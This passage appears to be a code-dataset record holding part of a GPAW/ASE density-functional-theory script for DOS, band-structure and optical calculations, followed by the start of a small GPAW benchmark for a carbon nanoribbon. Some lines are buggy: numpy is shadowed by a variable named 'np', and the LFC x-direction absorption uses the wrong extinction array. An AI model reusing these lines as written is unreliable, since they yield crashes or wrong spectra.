bulk_configuration.get_global_number_of_atoms()):\n print(\"Atom no: \"+str(j+1)+\", Atom Symbol: \"+chem_sym[j]+\" --------------------\", file=fd)\n pdoss = rawdos.raw_pdos(energies, a=j, l=0, m=None, spin=None, width=DOS_width)\n pdosp = rawdos.raw_pdos(energies, a=j, l=1, m=None, spin=None, width=DOS_width)\n pdospx = rawdos.raw_pdos(energies, a=j, l=1, m=2, spin=None, width=DOS_width)\n pdospy = rawdos.raw_pdos(energies, a=j, l=1, m=0, spin=None, width=DOS_width)\n pdospz = rawdos.raw_pdos(energies, a=j, l=1, m=1, spin=None, width=DOS_width)\n pdosd = rawdos.raw_pdos(energies, a=j, l=2, m=None, spin=None, width=DOS_width)\n pdosdxy = rawdos.raw_pdos(energies, a=j, l=2, m=0, spin=None, width=DOS_width)\n pdosdyz = rawdos.raw_pdos(energies, a=j, l=2, m=1, spin=None, width=DOS_width)\n pdosd3z2_r2 = rawdos.raw_pdos(energies, a=j, l=2, m=2, spin=None, width=DOS_width)\n pdosdzx = rawdos.raw_pdos(energies, a=j, l=2, m=3, spin=None, width=DOS_width)\n pdosdx2_y2 = rawdos.raw_pdos(energies, a=j, l=2, m=4, spin=None, width=DOS_width)\n pdosf = rawdos.raw_pdos(energies, a=j, l=3, m=None, spin=None, width=DOS_width)\n for x in zip(en-ef, pdoss, pdosp, pdospx, pdospy, pdospz, pdosd, pdosdxy, pdosdyz, pdosd3z2_r2, pdosdzx, pdosdx2_y2, pdosf):\n print(*x, sep=\", \", file=fd)\n print(\"---------------------------------------------------- --------------------\", file=fd)\n # -------------------------------------------------------------\n # Step 3 - BAND STRUCTURE CALCULATION\n # -------------------------------------------------------------\n if Band_calc == True:\n parprint(\"Starting band structure calculation...\")\n if Mode == 'PW-GW': \n GW = GWBands(calc=struct+'-1-Result-Ground.gpw', fixdensity=True,\n gw_file=struct+'-1-_results.pckl',kpoints=GWkpoints)\n\n # Getting results without spin-orbit\n results = GW.get_gw_bands(SO=False, interpolate=GWbandinterpolation, vac=True)\n\n # Extracting data\n X = results['X']\n ef = results['ef']\n xdata = results['x_k']\n banddata = results['e_kn']\n\n np.savetxt(struct+'-3-Result-Band.dat', np.c_[xdata,banddata])\n\n with open(struct+'-3-Result-Band.dat', 'a') as f:\n print ('Symmetry points: ', X, end=\"\\n\", file=f)\n print ('Fermi Level: ', ef, end=\"\\n\", file=f)\n\n else:\n if XC_calc in ['HSE06', 'HSE03']:\n calc = GPAW(struct+'-1-Result-Ground.gpw',\n parallel={'band': 1, 'kpt': 1}, \n txt=struct+'-3-Log-Band.txt',\n symmetry='off', occupations = Occupation,\n kpts={'path': band_path, 'npoints': band_npoints}, convergence=Band_convergence)\n \n else:\n calc = GPAW(struct+'-1-Result-Ground.gpw',\n txt=struct+'-3-Log-Band.txt',\n fixdensity=True,\n symmetry='off', occupations = Occupation,\n kpts={'path': band_path, 'npoints': band_npoints},\n convergence=Band_convergence)\n\n calc.get_potential_energy()\n bs = calc.band_structure()\n ef = calc.get_fermi_level()\n num_of_bands = calc.get_number_of_bands()\n parprint('Num of bands:'+str(num_of_bands))\n\n # No need to write an additional gpaw file. Use json file to use with ase band-structure command\n #calc.write(struct+'-3-Result-Band.gpw')\n bs.write(struct+'-3-Result-Band.json')\n\n if Spin_calc == True:\n eps_skn = np.array([[calc.get_eigenvalues(k,s)\n for k in range(band_npoints)]\n for s in range(2)]) - ef\n parprint(eps_skn.shape)\n with paropen(struct+'-3-Result-Band-Down.dat', 'w') as f1:\n for n1 in range(num_of_bands):\n for k1 in range(band_npoints):\n print(k1, eps_skn[0, k1, n1], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n with paropen(struct+'-3-Result-Band-Up.dat', 'w') as f2:\n for n2 in range(num_of_bands):\n for k2 in range(band_npoints):\n print(k2, eps_skn[1, k2, n2], end=\"\\n\", file=f2)\n print (end=\"\\n\", file=f2)\n\n else:\n eps_skn = np.array([[calc.get_eigenvalues(k,s)\n for k in range(band_npoints)]\n for s in range(1)]) - ef\n with paropen(struct+'-3-Result-Band.dat', 'w') as f:\n for n in range(num_of_bands):\n for k in range(band_npoints):\n print(k, eps_skn[0, k, n], end=\"\\n\", file=f)\n print (end=\"\\n\", file=f)\n\n # -------------------------------------------------------------\n # Step 4 - ALL-ELECTRON DENSITY\n # -------------------------------------------------------------\n if Density_calc == True:\n parprint(\"Starting All-electron density calculation...\")\n calc = GPAW(struct+'-1-Result-Ground.gpw', txt=struct+'-4-Log-ElectronDensity.txt')\n bulk_configuration.calc = calc\n np = calc.get_pseudo_density()\n n = calc.get_all_electron_density(gridrefinement=gridref)\n \n # Writing pseudo and all electron densities to cube file with Bohr unit\n write(struct+'-4-Result-All-electron_nall.cube', bulk_configuration, data=n * Bohr**3)\n write(struct+'-4-Result-All-electron_npseudo.cube', bulk_configuration, data=np * Bohr**3)\n\n# -------------------------------------------------------------\n# Step 5 - OPTICAL CALCULATION\n# -------------------------------------------------------------\nif Optical_calc == True:\n if Mode == 'PW':\n parprint(\"Starting optical calculation...\")\n try:\n calc = GPAW(struct+'-1-Result-Ground.gpw',\n txt=struct+'-5-Log-Optical.txt',\n nbands=num_of_bands,\n fixdensity=True,\n symmetry='off',\n occupations=FermiDirac(optFDsmear))\n except FileNotFoundError as err:\n # output error, and return with an error code\n parprint('\\033[91mERROR:\\033[0mOptical computations must be done separately. Please do ground calculations first.')\n quit()\n \n calc.get_potential_energy()\n\n calc.diagonalize_full_hamiltonian(nbands=num_of_bands) # diagonalize Hamiltonian\n calc.write(struct+'-5-Result-Optical.gpw', 'all') # write wavefunctions\n\n #from mpi4py import MPI\n if opttype == 'BSE':\n if Spin_calc == True:\n parprint('\\033[91mERROR:\\033[0mBSE calculations can not run with spin dependent data.')\n quit()\n parprint('Starting BSE calculations')\n bse = BSE(calc= struct+'-5-Result-Optical.gpw', ecut=optecut,\n valence_bands=optBSEvb,\n conduction_bands=optBSEcb,\n nbands=num_of_bands,\n eshift=optshift,\n mode='BSE',\n write_v=True,\n integrate_gamma=0,\n txt=struct+'-5-Log-Optical-BSE.txt')\n \n # Getting dielectric function spectrum\n parprint(\"Starting dielectric function calculation...\")\n # Writing to files\n bse.get_dielectric_function(direction=0, q_c = [0.0, 0.0, 0.0], eta=opteta,\n w_w=np.linspace(optBSEminEn, optBSEmaxEn, optBSEnumdata),\n filename=struct+'-5-Result-Optical-BSE_dielec_xdirection.csv',\n write_eig=struct+'-5-Result-Optical-BSE_eig_xdirection.dat')\n bse.get_dielectric_function(direction=1, q_c = [0.0, 0.0, 0.0], eta=opteta,\n w_w=np.linspace(optBSEminEn, optBSEmaxEn, optBSEnumdata),\n filename=struct+'-5-Result-Optical-BSE_dielec_ydirection.csv',\n write_eig=struct+'-5-Result-Optical-BSE_eig_ydirection.dat')\n bse.get_dielectric_function(direction=2, q_c = [0.0, 0.0, 0.0], eta=opteta,\n w_w=np.linspace(optBSEminEn, optBSEmaxEn, optBSEnumdata),\n filename=struct+'-5-Result-Optical-BSE_dielec_zdirection.csv',\n write_eig=struct+'-5-Result-Optical-BSE_eig_zdirection.dat')\n \n # Loading dielectric function spectrum to numpy\n dielec_x = genfromtxt(struct+'-5-Result-Optical-BSE_dielec_xdirection.csv', delimiter=',')\n dielec_y = genfromtxt(struct+'-5-Result-Optical-BSE_dielec_ydirection.csv', delimiter=',')\n dielec_z = genfromtxt(struct+'-5-Result-Optical-BSE_dielec_zdirection.csv', delimiter=',')\n # dielec_x.shape[0] will give us the length of data.\n # c and h\n c_opt = 29979245800\n h_opt = 6.58E-16\n #c_opt = 1\n #h_opt = 1\n\n # Initialize arrays\n opt_n_bse_x = np.array ([1e-6,]*dielec_x.shape[0])\n opt_k_bse_x = np.array ([1e-6,]*dielec_x.shape[0])\n opt_abs_bse_x = np.array([1e-6,]*dielec_x.shape[0])\n opt_ref_bse_x = np.array([1e-6,]*dielec_x.shape[0])\n opt_n_bse_y = np.array ([1e-6,]*dielec_y.shape[0])\n opt_k_bse_y = np.array ([1e-6,]*dielec_y.shape[0])\n opt_abs_bse_y = np.array([1e-6,]*dielec_y.shape[0])\n opt_ref_bse_y = np.array([1e-6,]*dielec_y.shape[0])\n opt_n_bse_z = np.array ([1e-6,]*dielec_z.shape[0])\n opt_k_bse_z = np.array ([1e-6,]*dielec_z.shape[0])\n opt_abs_bse_z = np.array([1e-6,]*dielec_z.shape[0])\n opt_ref_bse_z = np.array([1e-6,]*dielec_z.shape[0])\n\n # Calculation of other optical data\n for n in range(dielec_x.shape[0]):\n # x-direction\n opt_n_bse_x[n] = np.sqrt((np.sqrt(np.square(dielec_x[n][1])+np.square(dielec_x[n][2]))+dielec_x[n][1])/2.0)\n opt_k_bse_x[n] = np.sqrt((np.sqrt(np.square(dielec_x[n][1])+np.square(dielec_x[n][2]))-dielec_x[n][1])/2.0)\n opt_abs_bse_x[n] = 2*dielec_x[n][0]*opt_k_bse_x[n]/(h_opt*c_opt)\n opt_ref_bse_x[n] = (np.square(1-opt_n_bse_x[n])+np.square(opt_k_bse_x[n]))/(np.square(1+opt_n_bse_x[n])+np.square(opt_k_bse_x[n]))\n # y-direction\n opt_n_bse_y[n] = np.sqrt((np.sqrt(np.square(dielec_y[n][1])+np.square(dielec_y[n][2]))+dielec_y[n][1])/2.0)\n opt_k_bse_y[n] = np.sqrt((np.sqrt(np.square(dielec_y[n][1])+np.square(dielec_y[n][2]))-dielec_y[n][1])/2.0)\n opt_abs_bse_y[n] = 2*dielec_y[n][0]*opt_k_bse_y[n]/(h_opt*c_opt)\n opt_ref_bse_y[n] = (np.square(1-opt_n_bse_y[n])+np.square(opt_k_bse_y[n]))/(np.square(1+opt_n_bse_y[n])+np.square(opt_k_bse_y[n]))\n # z-direction\n opt_n_bse_z[n] = np.sqrt((np.sqrt(np.square(dielec_z[n][1])+np.square(dielec_z[n][2]))+dielec_z[n][1])/2.0)\n opt_k_bse_z[n] = np.sqrt((np.sqrt(np.square(dielec_z[n][1])+np.square(dielec_z[n][2]))-dielec_z[n][1])/2.0)\n opt_abs_bse_z[n] = 2*dielec_z[n][0]*opt_k_bse_z[n]/(h_opt*c_opt)\n opt_ref_bse_z[n] = (np.square(1-opt_n_bse_z[n])+np.square(opt_k_bse_z[n]))/(np.square(1+opt_n_bse_z[n])+np.square(opt_k_bse_z[n]))\n\n # Saving other data for x-direction\n with paropen(struct+'-5-Result-Optical-BSE-AllData_xdirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_x.shape[0]):\n print(dielec_x[n][0], dielec_x[n][1], dielec_x[n][2], opt_n_bse_x[n], opt_k_bse_x[n], opt_abs_bse_x[n], opt_ref_bse_x[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # Saving other data for y-direction\n with paropen(struct+'-5-Result-Optical-BSE-AllData_ydirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_y.shape[0]):\n print(dielec_y[n][0], dielec_y[n][1], dielec_y[n][2], opt_n_bse_y[n], opt_k_bse_y[n], opt_abs_bse_y[n], opt_ref_bse_y[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # Saving other data for z-direction\n with paropen(struct+'-5-Result-Optical-BSE-AllData_zdirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_z.shape[0]):\n print(dielec_z[n][0], dielec_z[n][1], dielec_z[n][2], opt_n_bse_z[n], opt_k_bse_z[n], opt_abs_bse_z[n], opt_ref_bse_z[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n elif opttype == 'RPA':\n parprint('Starting RPA calculations')\n df = DielectricFunction(calc=struct+'-5-Result-Optical.gpw',\n eta=opteta, nblocks=world.size,\n omega2=optomega2,\n domega0=optdomega0,\n ecut=optecut)\n # Writing to files as: omega, nlfc.real, nlfc.imag, lfc.real, lfc.imag \n # Here lfc is local field correction\n # Getting dielectric function spectrum\n parprint(\"Starting dielectric function calculation...\")\n df.get_dielectric_function( direction='x', \n filename=struct+'-5-Result-Optical-RPA_dielec_xdirection.csv')\n df.get_dielectric_function( direction='y',\n filename=struct+'-5-Result-Optical-RPA_dielec_ydirection.csv')\n df.get_dielectric_function( direction='z',\n filename=struct+'-5-Result-Optical-RPA_dielec_zdirection.csv')\n\n # Loading dielectric function spectrum to numpy\n dielec_x = genfromtxt(struct+'-5-Result-Optical-RPA_dielec_xdirection.csv', delimiter=',')\n dielec_y = genfromtxt(struct+'-5-Result-Optical-RPA_dielec_ydirection.csv', delimiter=',')\n dielec_z = genfromtxt(struct+'-5-Result-Optical-RPA_dielec_zdirection.csv', delimiter=',')\n # dielec_x.shape[0] will give us the length of data.\n # c and h\n c_opt = 29979245800\n h_opt = 6.58E-16\n #c_opt = 1\n #h_opt = 1\n # ---- NLFC ----\n # Initialize arrays for NLFC\n opt_n_nlfc_x = np.array ([1e-6,]*dielec_x.shape[0])\n opt_k_nlfc_x = np.array ([1e-6,]*dielec_x.shape[0])\n opt_abs_nlfc_x = np.array([1e-6,]*dielec_x.shape[0])\n opt_ref_nlfc_x = np.array([1e-6,]*dielec_x.shape[0])\n opt_n_nlfc_y = np.array ([1e-6,]*dielec_y.shape[0])\n opt_k_nlfc_y = np.array ([1e-6,]*dielec_y.shape[0])\n opt_abs_nlfc_y = np.array([1e-6,]*dielec_y.shape[0])\n opt_ref_nlfc_y = np.array([1e-6,]*dielec_y.shape[0])\n opt_n_nlfc_z = np.array ([1e-6,]*dielec_z.shape[0])\n opt_k_nlfc_z = np.array ([1e-6,]*dielec_z.shape[0])\n opt_abs_nlfc_z = np.array([1e-6,]*dielec_z.shape[0])\n opt_ref_nlfc_z = np.array([1e-6,]*dielec_z.shape[0])\n\n # Calculation of other optical spectrum for NLFC\n for n in range(dielec_x.shape[0]):\n # NLFC-x\n opt_n_nlfc_x[n] = np.sqrt((np.sqrt(np.square(dielec_x[n][1])+np.square(dielec_x[n][2]))+dielec_x[n][1])/2.0)\n opt_k_nlfc_x[n] = np.sqrt((np.sqrt(np.square(dielec_x[n][1])+np.square(dielec_x[n][2]))-dielec_x[n][1])/2.0)\n opt_abs_nlfc_x[n] = 2*dielec_x[n][0]*opt_k_nlfc_x[n]/(h_opt*c_opt)\n opt_ref_nlfc_x[n] = (np.square(1-opt_n_nlfc_x[n])+np.square(opt_k_nlfc_x[n]))/(np.square(1+opt_n_nlfc_x[n])+np.square(opt_k_nlfc_x[n]))\n # NLFC-y\n opt_n_nlfc_y[n] = np.sqrt((np.sqrt(np.square(dielec_y[n][1])+np.square(dielec_y[n][2]))+dielec_y[n][1])/2.0)\n opt_k_nlfc_y[n] = np.sqrt((np.sqrt(np.square(dielec_y[n][1])+np.square(dielec_y[n][2]))-dielec_y[n][1])/2.0)\n opt_abs_nlfc_y[n] = 2*dielec_y[n][0]*opt_k_nlfc_y[n]/(h_opt*c_opt)\n opt_ref_nlfc_y[n] = (np.square(1-opt_n_nlfc_y[n])+np.square(opt_k_nlfc_y[n]))/(np.square(1+opt_n_nlfc_y[n])+np.square(opt_k_nlfc_y[n]))\n # NLFC-z\n opt_n_nlfc_z[n] = np.sqrt((np.sqrt(np.square(dielec_z[n][1])+np.square(dielec_z[n][2]))+dielec_z[n][1])/2.0)\n opt_k_nlfc_z[n] = np.sqrt((np.sqrt(np.square(dielec_z[n][1])+np.square(dielec_z[n][2]))-dielec_z[n][1])/2.0)\n opt_abs_nlfc_z[n] = 2*dielec_z[n][0]*opt_k_nlfc_z[n]/(h_opt*c_opt)\n opt_ref_nlfc_z[n] = (np.square(1-opt_n_nlfc_z[n])+np.square(opt_k_nlfc_z[n]))/(np.square(1+opt_n_nlfc_z[n])+np.square(opt_k_nlfc_z[n]))\n\n # Saving NLFC other optical spectrum for x-direction\n with paropen(struct+'-5-Result-Optical-RPA-NLFC-AllData_xdirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_x.shape[0]):\n print(dielec_x[n][0], dielec_x[n][1], dielec_x[n][2], opt_n_nlfc_x[n], opt_k_nlfc_x[n], opt_abs_nlfc_x[n], opt_ref_nlfc_x[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # Saving NLFC other optical spectrum for y-direction\n with paropen(struct+'-5-Result-Optical-RPA-NLFC-AllData_ydirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_y.shape[0]):\n print(dielec_y[n][0], dielec_y[n][1], dielec_y[n][2], opt_n_nlfc_y[n], opt_k_nlfc_y[n], opt_abs_nlfc_y[n], opt_ref_nlfc_y[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # Saving NLFC other optical spectrum for z-direction\n with paropen(struct+'-5-Result-Optical-RPA-NLFC-AllData_zdirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_z.shape[0]):\n print(dielec_z[n][0], dielec_z[n][1], dielec_z[n][2], opt_n_nlfc_z[n], opt_k_nlfc_z[n], opt_abs_nlfc_z[n], opt_ref_nlfc_z[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # ---- LFC ----\n # Initialize arrays for LFC\n opt_n_lfc_x = np.array ([1e-6,]*dielec_x.shape[0])\n opt_k_lfc_x = np.array ([1e-6,]*dielec_x.shape[0])\n opt_abs_lfc_x = np.array([1e-6,]*dielec_x.shape[0])\n opt_ref_lfc_x = np.array([1e-6,]*dielec_x.shape[0])\n opt_n_lfc_y = np.array ([1e-6,]*dielec_y.shape[0])\n opt_k_lfc_y = np.array ([1e-6,]*dielec_y.shape[0])\n opt_abs_lfc_y = np.array([1e-6,]*dielec_y.shape[0])\n opt_ref_lfc_y = np.array([1e-6,]*dielec_y.shape[0])\n opt_n_lfc_z = np.array ([1e-6,]*dielec_z.shape[0])\n opt_k_lfc_z = np.array ([1e-6,]*dielec_z.shape[0])\n opt_abs_lfc_z = np.array([1e-6,]*dielec_z.shape[0])\n opt_ref_lfc_z = np.array([1e-6,]*dielec_z.shape[0])\n\n # Calculation of other optical spectrum for LFC\n for n in range(dielec_x.shape[0]):\n # LFC-x\n opt_n_lfc_x[n] = np.sqrt((np.sqrt(np.square(dielec_x[n][3])+np.square(dielec_x[n][4]))+dielec_x[n][3])/2.0)\n opt_k_lfc_x[n] = np.sqrt((np.sqrt(np.square(dielec_x[n][3])+np.square(dielec_x[n][4]))-dielec_x[n][3])/2.0)\n opt_abs_lfc_x[n] = 2*dielec_x[n][0]*opt_k_nlfc_x[n]/(h_opt*c_opt)\n opt_ref_lfc_x[n] = (np.square(1-opt_n_lfc_x[n])+np.square(opt_k_lfc_x[n]))/(np.square(1+opt_n_lfc_x[n])+np.square(opt_k_lfc_x[n]))\n # LFC-y\n opt_n_lfc_y[n] = np.sqrt((np.sqrt(np.square(dielec_y[n][3])+np.square(dielec_y[n][4]))+dielec_y[n][3])/2.0)\n opt_k_lfc_y[n] = np.sqrt((np.sqrt(np.square(dielec_y[n][3])+np.square(dielec_y[n][4]))-dielec_y[n][3])/2.0)\n opt_abs_lfc_y[n] = 2*dielec_y[n][0]*opt_k_lfc_y[n]/(h_opt*c_opt)\n opt_ref_lfc_y[n] = (np.square(1-opt_n_lfc_y[n])+np.square(opt_k_lfc_y[n]))/(np.square(1+opt_n_lfc_y[n])+np.square(opt_k_lfc_y[n]))\n # LFC-z\n opt_n_lfc_z[n] = np.sqrt((np.sqrt(np.square(dielec_z[n][3])+np.square(dielec_z[n][4]))+dielec_z[n][3])/2.0)\n opt_k_lfc_z[n] = np.sqrt((np.sqrt(np.square(dielec_z[n][3])+np.square(dielec_z[n][4]))-dielec_z[n][3])/2.0)\n opt_abs_lfc_z[n] = 2*dielec_z[n][0]*opt_k_lfc_z[n]/(h_opt*c_opt)\n opt_ref_lfc_z[n] = (np.square(1-opt_n_lfc_z[n])+np.square(opt_k_lfc_z[n]))/(np.square(1+opt_n_lfc_z[n])+np.square(opt_k_lfc_z[n]))\n\n # Saving LFC other optical spectrum for x-direction\n with paropen(struct+'-5-Result-Optical-RPA-LFC-AllData_xdirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_x.shape[0]):\n print(dielec_x[n][0], dielec_x[n][3], dielec_x[n][4], opt_n_lfc_x[n], opt_k_lfc_x[n], opt_abs_lfc_x[n], opt_ref_lfc_x[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # Saving LFC other optical spectrum for y-direction\n with paropen(struct+'-5-Result-Optical-RPA-LFC-AllData_ydirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_y.shape[0]):\n print(dielec_y[n][0], dielec_y[n][3], dielec_y[n][4], opt_n_lfc_y[n], opt_k_lfc_y[n], opt_abs_lfc_y[n], opt_ref_lfc_y[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n\n # Saving LFC other optical spectrum for z-direction\n with paropen(struct+'-5-Result-Optical-RPA-LFC-AllData_zdirection.dat', 'w') as f1:\n print(\"Energy(eV) Eps_real Eps_img Refractive_Index Extinction_Index Absorption(1/cm) Reflectivity\", end=\"\\n\", file=f1)\n for n in range(dielec_z.shape[0]):\n print(dielec_z[n][0], dielec_z[n][3], dielec_z[n][4], opt_n_lfc_z[n], opt_k_lfc_z[n], opt_abs_lfc_z[n], opt_ref_lfc_z[n], end=\"\\n\", file=f1)\n print (end=\"\\n\", file=f1)\n \n else:\n parprint('\\033[91mERROR:\\033[0mUnknown optical calculation type.')\n quit()\n\n elif Mode == 'LCAO':\n parprint('\\033[91mERROR:\\033[0mNot implemented in LCAO mode yet.')\n else:\n parprint('\\033[91mERROR:\\033[0mNot implemented in FD mode yet.')\n\n# -------------------------------------------------------------\n# Step Last - DRAWING BAND STRUCTURE AND DOS\n# -------------------------------------------------------------\nif drawfigs == True:\n # Draw graphs only on master node\n if world.rank == 0:\n # Elastic\n if Elastic_calc == True:\n eos.plot(struct+'-1.5-Graph-Elastic-EOS.png', show=True)\n # DOS\n if DOS_calc == True:\n if Spin_calc == True:\n ax = plt.gca()\n ax.plot(energies, -1.0*weights, 'y')\n ax.plot(energies, weightsup, 'b')\n ax.set_xlabel('Energy [eV]')\n ax.set_ylabel('DOS [1/eV]')\n else:\n ax = plt.gca()\n ax.plot(energies, weights, 'b')\n ax.set_xlabel('Energy [eV]')\n ax.set_ylabel('DOS [1/eV]')\n plt.savefig(struct+'-2-Graph-DOS.png')\n #plt.show()\n if Band_calc == True:\n # Band Structure\n if Mode == 'PW-GW':\n f = plt.figure()\n plt.plot(xdata, banddata, '-b', '-r', linewidth=1)\n plt.xticks(X, GWkpoints, fontsize=8)\n plt.ylabel('Energy with respect to vacuum (eV)', fontsize=14)\n plt.tight_layout()\n plt.savefig(struct+'-3-Graph-Band.png')\n plt.show()\n else:\n bs.plot(filename=struct+'-3-Graph-Band.png', show=True, emax=energy_max)\nelse:\n # Draw graphs only on master node\n if world.rank == 0:\n # Elastic\n if Elastic_calc == True:\n eos.plot(struct+'-1.5-Result-Elastic-EOS.png')\n # DOS\n if DOS_calc == True:\n if Spin_calc == True:\n ax = plt.gca()\n ax.plot(energies, -1.0*weights, 'y')\n ax.plot(energies, weightsup, 'b')\n ax.set_xlabel('Energy [eV]')\n ax.set_ylabel('DOS [1/eV]')\n else:\n ax = plt.gca()\n ax.plot(energies, weights, 'b')\n ax.set_xlabel('Energy [eV]')\n ax.set_ylabel('DOS [1/eV]')\n plt.savefig(struct+'-2-Graph-DOS.png')\n if Band_calc == True:\n # Band Structure\n if Mode == 'PW-GW':\n f = plt.figure()\n plt.plot(xdata, banddata, '-b', '-r', linewidth=1)\n plt.xticks(X, GWkpoints, fontsize=8)\n plt.ylabel('Energy with respect to vacuum (eV)', fontsize=14)\n plt.tight_layout()\n plt.savefig(struct+'-3-Graph-Band.png')\n #plt.show()\n else:\n bs.plot(filename=struct+'-3-Graph-Band.png', show=False, emax=energy_max)\n \n", "id": "11198323", "language": "Python", "matching_score": 6.550337791442871, "max_stars_count": 0, "path": "gpawsolve.py" }, { "content": "'''\r\ngpaw-tools: Simple Benchmark Calculation for GPAW\r\nUsage: \r\n $ gpaw -P8 python simple_benchmark_2021.py\r\nFor AMD CPUs or using Intel CPUs without hyperthreading: (Example CPU is intel here, 4 cores or 8 threads)\r\n $ mpirun -n 4 gpaw python simple_benchmark_2021.py\r\nFor using all threads provided by Intel Hyperthreading technology:\r\n $ mpirun --use-hwthread-cpus -n 8 gpaw python simple_benchmark_2021.py\r\n'''\r\n\r\nfrom ase import *\r\nfrom ase.parallel import paropen, world\r\nfrom gpaw import GPAW, PW\r\nfrom ase.optimize.lbfgs import LBFGS\r\nfrom ase.io import read, write\r\nimport matplotlib.pyplot as plt\r\nfrom ase.dft.dos import DOS\r\nfrom pathlib import Path\r\n\r\n# -------------------------------------------------------------\r\n# Parameters\r\n# -------------------------------------------------------------\r\nfmaxval = 0.05 \t\t\t#\r\ncut_off_energy = 240 \t# eV\r\nkpts_x = 1 \t\t\t# kpoints in x direction\r\nkpts_y = 1\t\t\t\t# kpoints in y direction\r\nkpts_z = 20\t\t\t\t# kpoints in z direction\r\nband_path = 'GZ'\t# Brillouin zone high symmetry points\r\nband_npoints = 40\t\t# Number of points between high symmetry points \r\nenergy_max = 15 \t\t# eV. It is the maximum energy value for band structure figure.\r\nnum_of_bands = 40\t\t#\r\ndraw_dos = \"no\"\t\t\t# Draw DOS on screen (yes for draw, small letters)\r\ndraw_band = \"no\"\t\t\t# Draw band structure on screen (yes for draw, small letters)\r\n# -------------------------------------------------------------\r\n# Bulk Configuration\r\n# -------------------------------------------------------------\r\nbulk_configuration = Atoms(\r\n [\r\n Atom('C', ( 5.0, 4.999995597, 2.84172142086 )),\r\n Atom('C', ( 5.0, 6.230496855, 3.55214857914 )),\r\n Atom('C', ( 5.0, 4.999995597, 1.42085857914 )),\r\n Atom('C', ( 5.0, 7.460998113, 2.84172142086 )),\r\n Atom('C', ( 5.0, 8.691499370999999, 3.55214857914 )),\r\n Atom('C', ( 5.0, 6.230496855, 0.71043142086 )),\r\n Atom('C', ( 5.0, 7.460998113, 1.42085857914 )),\r\n Atom('C', ( 5.0, 9.922000629, 2.84172142086 )),\r\n Atom('C', ( 5.0, 11.152501886999998, 3.55214857914 )),\r\n Atom('C', ( 5.0, 8.691499370999999, 0.71043142086 )),\r\n Atom('C', ( 5.0, 9.922000629, 1.42085857914 )),\r\n Atom('C', ( 5.0, 12.383003145, 2.84172142086 )),\r\n Atom('C', ( 5.0, 13.613504402999999, 3.55214857914 )),\r\n Atom('C', ( 5.0, 11.152501886999998, 0.71043142086 )),\r\n Atom('C', ( 5.0, 12.383003145, 1.42085857914 )),\r\n Atom('C', ( 5.0, 13.613504402999999, 0.71043142086 )),\r\n Atom('H', ( 5.0, 4.056030558, 3.3867178493399996 )),\r\n Atom('H', ( 5.0, 4.056030558, 0.87586215066 )),\r\n Atom('H', ( 5.0, 14.557469441999999, 3.00715215066 )),\r\n Atom('H', ( 5.0, 14.557469441999999, 1.25542784934 )),\r\n ],\r\n cell=[(10.0, 0.0, 0.0), (0.0, 18.6135, 0.0), (0.0, 0.0, 4.26258)],\r\n pbc=True,\r\n )\r\n\r\n# -------------------------------------------------------------\r\n# /////// YOU DO NOT NEED TO CHANGE ANYTHING BELOW \\\\\\\\\\\\\\ \r\n# -------------------------------------------------------------\r\nstruct = Path(__file__).stem # All files will get their names from this file\r\n# -------------------------------------------------------------\r\n# Step 1 - GROUND STATE\r\n# -------------------------------------------------------------\r\ncalc = GPAW(mode=PW(cut_off_energy), kpts=[kpts_x, kpts_y, kpts_z], txt=struct+'-1-Log-Ground.txt')\r\nbulk_configuration.calc = calc\r\n\r\nrelax = LBFGS(bulk_configuration, trajectory=struct+'-1-Result-Ground.traj')\r\nrelax.run(fmax=fmaxval) # Consider much tighter fmax!\r\n\r\nbulk_configuration.get_potential_energy()\r\ncalc.write(struct+'-1-Result-Ground.gpw')\r\n\r\n# -------------------------------------------------------------\r\n# Step 2 - DOS CALCULATION\r\n# -------------------------------------------------------------\r\ncalc = GPAW(struct+'-1-Result-Ground.gpw', txt=struct+'-2-Log-DOS.txt')\r\n#energies, weights = calc.get_dos(npts=800, width=0)\r\ndos = DOS(calc, npts=500, width=0)\r\nenergies = dos.get_energies()\r\nweights = dos.get_dos()\r\n\r\nfd = open(struct+'-2-Result-DOS.txt', \"w\")\r\nfor x in zip(energies, weights):\r\n print(*x, sep=\", \", file=fd)\r\nfd.close()\r\n\r\nif draw_dos == \"yes\":\r\n ax = plt.gca()\r\n ax.plot(energies, weights)\r\n ax.set_xlabel('Energy [eV]')\r\n ax.set_ylabel('DOS [1/eV]')\r\n plt.savefig(struct+'-2-Graph-DOS.png')\r\n #plt.show()\r\n\r\n# -------------------------------------------------------------\r\n# Step 3 - BAND STRUCTURE CALCULATION\r\n# 